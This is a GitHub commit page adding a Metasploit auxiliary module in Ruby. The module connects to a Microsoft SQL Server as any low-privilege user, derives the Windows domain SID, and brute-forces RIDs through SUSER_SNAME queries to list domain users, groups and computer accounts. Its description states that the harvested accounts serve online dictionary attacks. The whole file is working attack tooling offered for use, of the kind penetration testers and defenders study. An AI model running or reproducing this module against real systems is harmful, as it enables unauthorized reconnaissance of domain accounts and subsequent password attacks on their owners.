Skip to content

Commit 8c34f35

Browse files
committed
added mssql_enum_windows_domain_accounts.rb
1 parent 50a2f4c commit 8c34f35

File tree

1 file changed

+267
-0
lines changed

1 file changed

+267
-0
lines changed
Lines changed: 267 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,267 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
17+
'Description' => %q{
18+
This module can be used to brute force RIDs associated with the domain of
19+
the SQL Server using the SUSER_SNAME function. This is similar to the
20+
smb_lookupsid module, but executed through SQL Server queries as any user
21+
with the PUBLIC role (everyone). Information that can be enumerated includes
22+
Windows domain users, groups, and computer accounts. Enumerated accounts can
23+
then be used in online dictionary attacks.
24+
},
25+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>','antti <antti.rantasaari[at]netspi.com>'],
26+
'License' => MSF_LICENSE,
27+
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
28+
))
29+
30+
register_options(
31+
[
32+
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
33+
], self.class)
34+
end
35+
36+
def run
37+
# Check connection and issue initial query
38+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
39+
if mssql_login_datastore
40+
print_good('Connected.')
41+
else
42+
print_error('Login was unsuccessful. Check your credentials.')
43+
disconnect
44+
return
45+
end
46+
47+
# Query for sysadmin status
48+
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
49+
user_status = check_sysadmin
50+
51+
# Check if user has sysadmin role
52+
if user_status == 1
53+
print_good("#{datastore['USERNAME']} is a sysadmin.")
54+
else
55+
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
56+
end
57+
58+
# Get the server name
59+
sql_server_name = get_sql_server_name
60+
print_status("SQL Server Name: #{sql_server_name}")
61+
62+
# Get the domain name
63+
sql_server_domain = get_windows_domain
64+
if sql_server_domain.nil?
65+
print_error("Could not recover the SQL Server's domain.")
66+
disconnect
67+
return
68+
else
69+
print_status("Domain Name: #{sql_server_domain}")
70+
end
71+
72+
# Check if the domain and hostname are the same
73+
if sql_server_name == sql_server_domain
74+
print_error("The SQL Server does not appear to be part of a Windows domain.")
75+
disconnect
76+
return
77+
end
78+
79+
# Get the base sid for the domain
80+
windows_domain_sid = get_windows_domain_sid(sql_server_domain)
81+
if windows_domain_sid.nil?
82+
print_error("Could not recover the SQL Server's domain sid.")
83+
disconnect
84+
return
85+
else
86+
print_good("Found the domain sid: #{windows_domain_sid}")
87+
end
88+
89+
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
90+
print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
91+
win_domain_user_list = get_win_domain_users(windows_domain_sid)
92+
if win_domain_user_list.nil? || win_domain_user_list.empty?
93+
print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
94+
disconnect
95+
return
96+
else
97+
98+
# Print number of objects found and write to a file
99+
print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
100+
101+
win_domain_user_list.sort.each do |windows_login|
102+
if datastore['VERBOSE']
103+
print_status(" - #{windows_login}")
104+
end
105+
end
106+
107+
# Create table for report
108+
windows_domain_login_table = Rex::Ui::Text::Table.new(
109+
'Header' => 'Windows Domain Accounts',
110+
'Ident' => 1,
111+
'Columns' => ['name']
112+
)
113+
114+
# Add brute forced names to table
115+
win_domain_user_list.each do |object_name|
116+
windows_domain_login_table << [object_name]
117+
end
118+
119+
# Create output file
120+
this_service = nil
121+
if framework.db and framework.db.active
122+
this_service = report_service(
123+
:host => rhost,
124+
:port => rport,
125+
:name => 'mssql',
126+
:proto => 'tcp'
127+
)
128+
end
129+
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
130+
path = store_loot("windows_domain_accounts", "text/plain", datastore['RHOST'], windows_domain_login_table.to_csv, filename, "SQL Server query results",this_service)
131+
print_status("Query results have been saved to: #{path}")
132+
end
133+
134+
disconnect
135+
end
136+
137+
# Checks if user is a sysadmin
138+
def check_sysadmin
139+
140+
# Setup query to check for sysadmin
141+
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
142+
143+
# Run query
144+
result = mssql_query(sql)
145+
146+
# Parse query results
147+
parse_results = result[:rows]
148+
status = parse_results[0][0]
149+
150+
# Return status
151+
return status
152+
end
153+
154+
# Get list of windows accounts,groups,and computer accounts
155+
def get_win_domain_users(windows_domain_sid)
156+
157+
# Create array to store the windws accounts etc
158+
windows_logins = []
159+
160+
# Fuzz the principal_id parameter passed to the SUSER_NAME function
161+
(500..datastore['FuzzNum']).each do |principal_id|
162+
163+
# Convert number to hex and fix order
164+
principal_id_hex = "%02X" % principal_id
165+
principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
166+
principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
167+
168+
# Add padding
169+
principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
170+
171+
# Create full sid
172+
win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
173+
174+
# Return if sid does not resolve correctly for a domain
175+
if win_sid.length < 48
176+
return nil
177+
end
178+
179+
# Setup query
180+
sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
181+
182+
# Execute query
183+
result = mssql_query(sql)
184+
185+
# Parse results
186+
parse_results = result[:rows]
187+
windows_login = parse_results[0][0]
188+
189+
# Print account,group,or computer account etc
190+
if windows_login.length != 0
191+
print_status(" - #{windows_login}")
192+
193+
# Verbose output
194+
if datastore['VERBOSE']
195+
print_status("Test sid: #{win_sid}")
196+
end
197+
end
198+
199+
# Add to windows domain object list
200+
windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
201+
end
202+
203+
# Return list of logins
204+
windows_logins
205+
end
206+
207+
# Get windows domain
208+
def get_windows_domain
209+
210+
# Setup query to check for sysadmin
211+
sql = "SELECT DEFAULT_DOMAIN() as mydomain"
212+
213+
# Run query
214+
result = mssql_query(sql)
215+
216+
# Parse query results
217+
parse_results = result[:rows]
218+
sql_server_domain = parse_results[0][0]
219+
220+
# Return domain
221+
sql_server_domain
222+
end
223+
224+
# Get the sql server's hostname
225+
def get_sql_server_name
226+
227+
# Setup query to check for sysadmin
228+
sql = "SELECT @@servername"
229+
230+
# Run query
231+
result = mssql_query(sql)
232+
233+
# Parse query results
234+
parse_results = result[:rows]
235+
sql_instance_name = parse_results[0][0]
236+
sql_server_name = sql_instance_name.split('\\')[0]
237+
238+
# Return servername
239+
sql_server_name
240+
end
241+
242+
# Get windows domain
243+
def get_windows_domain_sid(sql_server_domain)
244+
245+
# Set group
246+
domain_group = "#{sql_server_domain}\\Domain Admins"
247+
248+
# Setup query to check for sysadmin
249+
sql = "select SUSER_SID('#{domain_group}') as dasid"
250+
251+
# Run query
252+
result = mssql_query(sql)
253+
254+
# Parse query results
255+
parse_results = result[:rows]
256+
object_sid = parse_results[0][0]
257+
domain_sid = object_sid[0..47]
258+
259+
# Return if sid does not resolve for a domain
260+
if domain_sid.length == 0
261+
return nil
262+
end
263+
264+
# Return domain sid
265+
domain_sid
266+
end
267+
end

0 commit comments

Comments
 (0)